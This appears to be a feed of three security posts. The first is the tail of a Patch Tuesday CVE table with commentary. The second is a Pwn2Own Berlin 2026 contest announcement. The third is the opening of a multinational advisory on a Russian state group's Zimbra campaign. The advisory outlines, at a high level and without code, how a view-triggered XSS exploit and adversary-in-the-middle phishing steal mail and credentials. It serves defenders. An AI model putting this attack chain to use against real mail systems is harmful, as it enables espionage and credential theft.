CVE-2026-32164	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23670	Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability	Important	5.7	No	No	SFB
CVE-2026-27917	Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32080	Windows WalletService Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32222	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21637 *	HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers	Moderate	7.5	No	No	SFB
CVE-2026-33119	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-33829	Windows Snipping Tool Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-5858 *	Chromium: CVE-2026-5858 Heap buffer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5859 *	Chromium: CVE-2026-5859 Integer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5272 *	Chromium: CVE-2026-5272 Heap buffer overflow in GPU	High	N/A	No	No	RCE
CVE-2026-5273 *	Chromium: CVE-2026-5273 Use after free in CSS	High	N/A	No	No	RCE
CVE-2026-5274 *	Chromium: CVE-2026-5274 Integer overflow in Codecs	High	N/A	No	No	RCE
CVE-2026-5275 *	Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5276 *	Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB	High	N/A	No	No	SFB
CVE-2026-5277 *	Chromium: CVE-2026-5277 Integer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5279 *	Chromium: CVE-2026-5279 Object corruption in V8	High	N/A	No	No	RCE
CVE-2026-5280 *	Chromium: CVE-2026-5280 Use after free in WebCodecs	High	N/A	No	No	RCE
CVE-2026-5283 *	Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE	High	N/A	No	No	SFB
CVE-2026-5284 *	Chromium: CVE-2026-5284 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5285 *	Chromium: CVE-2026-5285 Use after free in WebGL	High	N/A	No	No	RCE
CVE-2026-5286 *	Chromium: CVE-2026-5286 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5287 *	Chromium: CVE-2026-5287 Use after free in PDF	High	N/A	No	No	RCE
CVE-2026-5289 *	Chromium: CVE-2026-5289 Use after free in Navigation	High	N/A	No	No	RCE
CVE-2026-5290 *	Chromium: CVE-2026-5290 Use after free in Compositing	High	N/A	No	No	RCE
CVE-2026-5860 *	Chromium: CVE-2026-5860 Use after free in WebRTC	High	N/A	No	No	RCE
CVE-2026-5861 *	Chromium: CVE-2026-5861 Use after free in V8	High	N/A	No	No	RCE
CVE-2026-5862 *	Chromium: CVE-2026-5862 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5863 *	Chromium: CVE-2026-5863 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5864 *	Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio	High	N/A	No	No	RCE
CVE-2026-5865 *	Chromium: CVE-2026-5865 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5866 *	Chromium: CVE-2026-5866 Use after free in Media	High	N/A	No	No	RCE
CVE-2026-5867 *	Chromium: CVE-2026-5867 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5868 *	Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5869 *	Chromium: CVE-2026-5869 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5870 *	Chromium: CVE-2026-5870 Integer overflow in Skia	High	N/A	No	No	RCE
CVE-2026-5871 *	Chromium: CVE-2026-5871 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5872 *	Chromium: CVE-2026-5872 Use after free in Blink	High	N/A	No	No	RCE
CVE-2026-5873 *	Chromium: CVE-2026-5873 Out of bounds read and write in V8	High	N/A	No	No	RCE
CVE-2026-5291 *	Chromium: CVE-2026-5291 Inappropriate implementation in WebGL	Medium	N/A	No	No	SFB
CVE-2026-5292 *	Chromium: CVE-2026-5292 Out of bounds read in WebCodecs	Medium	N/A	No	No	Info
CVE-2026-5874 *	Chromium: CVE-2026-5874 Use after free in PrivateAI	Medium	N/A	No	No	RCE
CVE-2026-5875 *	Chromium: CVE-2026-5875 Policy bypass in Blink	Medium	N/A	No	No	SFB
CVE-2026-5876 *	Chromium: CVE-2026-5876 Side-channel information leakage in Navigation	Medium	N/A	No	No	Info
CVE-2026-5877 *	Chromium: CVE-2026-5877 Use after free in Navigation	Medium	N/A	No	No	RCE
CVE-2026-5878 *	Chromium: CVE-2026-5878 Incorrect security UI in Blink	Medium	N/A	No	No	Spoofing
CVE-2026-5879 *	Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE	Medium	N/A	No	No	SFB
CVE-2026-5880 *	Chromium: CVE-2026-5880 Incorrect security UI in browser UI	Medium	N/A	No	No	Spoofing
CVE-2026-5881 *	Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess	Medium	N/A	No	No	SFB
CVE-2026-5882 *	Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen	Medium	N/A	No	No	Spoofing
CVE-2026-5883 *	Chromium: CVE-2026-5883 Use after free in Media	Medium	N/A	No	No	RCE
CVE-2026-5884 *	Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media	Medium	N/A	No	No	SFB
CVE-2026-5885 *	Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML	Medium	N/A	No	No	SFB
CVE-2026-5886 *	Chromium: CVE-2026-5886 Out of bounds read in WebAudio	Medium	N/A	No	No	Info
CVE-2026-5887 *	Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads	Medium	N/A	No	No	SFB
CVE-2026-5888 *	Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5889 *	Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium	Medium	N/A	No	No	SFB
CVE-2026-5890 *	Chromium: CVE-2026-5890 Race in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5891 *	Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI	Medium	N/A	No	No	SFB
CVE-2026-5892 *	Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs	Medium	N/A	No	No	SFB
CVE-2026-5893 *	Chromium: CVE-2026-5893 Race in V8	Medium	N/A	No	No	RCE
CVE-2026-5894 *	Chromium: CVE-2026-5894 Inappropriate implementation in PDF	Low	N/A	No	No	SFB
CVE-2026-5895 *	Chromium: CVE-2026-5895 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5896 *	Chromium: CVE-2026-5896 Policy bypass in Audio	Low	N/A	No	No	SFB
CVE-2026-5897 *	Chromium: CVE-2026-5897 Incorrect security UI in Downloads	Low	N/A	No	No	Spoofing
CVE-2026-5898 *	Chromium: CVE-2026-5898 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5899 *	Chromium: CVE-2026-5899 Incorrect security UI in History Navigation	Low	N/A	No	No	Spoofing
CVE-2026-5900 *	Chromium: CVE-2026-5900 Policy bypass in Downloads	Low	N/A	No	No	SFB
CVE-2026-5901 *	Chromium: CVE-2026-5901 Policy bypass in DevTools	Low	N/A	No	No	SFB
CVE-2026-5902 *	Chromium: CVE-2026-5902 Race in Media	Low	N/A	No	No	RCE
CVE-2026-5903 *	Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox	Low	N/A	No	No	SFB
CVE-2026-5904 *	Chromium: CVE-2026-5904 Use after free in V8	Low	N/A	No	No	RCE
CVE-2026-5905 *	Chromium: CVE-2026-5905 Incorrect security UI in Permissions	Low	N/A	No	No	Spoofing
CVE-2026-5906 *	Chromium: CVE-2026-5906 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5907 *	Chromium: CVE-2026-5907 Insufficient data validation in Media	Low	N/A	No	No	SFB
CVE-2026-5908 *	Chromium: CVE-2026-5908 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5909 *	Chromium: CVE-2026-5909 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5910 *	Chromium: CVE-2026-5910 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5911 *	Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers	Low	N/A	No	No	SFB
CVE-2026-5912 *	Chromium: CVE-2026-5912 Integer overflow in WebRTC	Low	N/A	No	No	RCE
CVE-2026-5913 *	Chromium: CVE-2026-5913 Out of bounds read in Blink	Low	N/A	No	No	Info
CVE-2026-5914 *	Chromium: CVE-2026-5914 Type Confusion in CSS	Low	N/A	No	No	RCE
CVE-2026-5915 *	Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML	Low	N/A	No	No	SFB
CVE-2026-5918 *	Chromium: CVE-2026-5918 Inappropriate implementation in Navigation	Low	N/A	No	No	SFB
CVE-2026-5919 *	Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets	Low	N/A	No	No	SFB
CVE-2026-33118	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Announcing Pwn2Own Berlin for 2026

Sat, 25 Jul 2026 19:00:42 +0200

If you just want to read the contest rules, click here.

Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

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Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

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Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

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The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

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Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

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The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

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AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

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The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

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The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

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Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Sat, 25 Jul 2026 18:59:26 +0200

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),
the federal and local government,
education,
energy,
law enforcement,
media,
non-governmental organizations, and
technology.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].

Resource development

The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

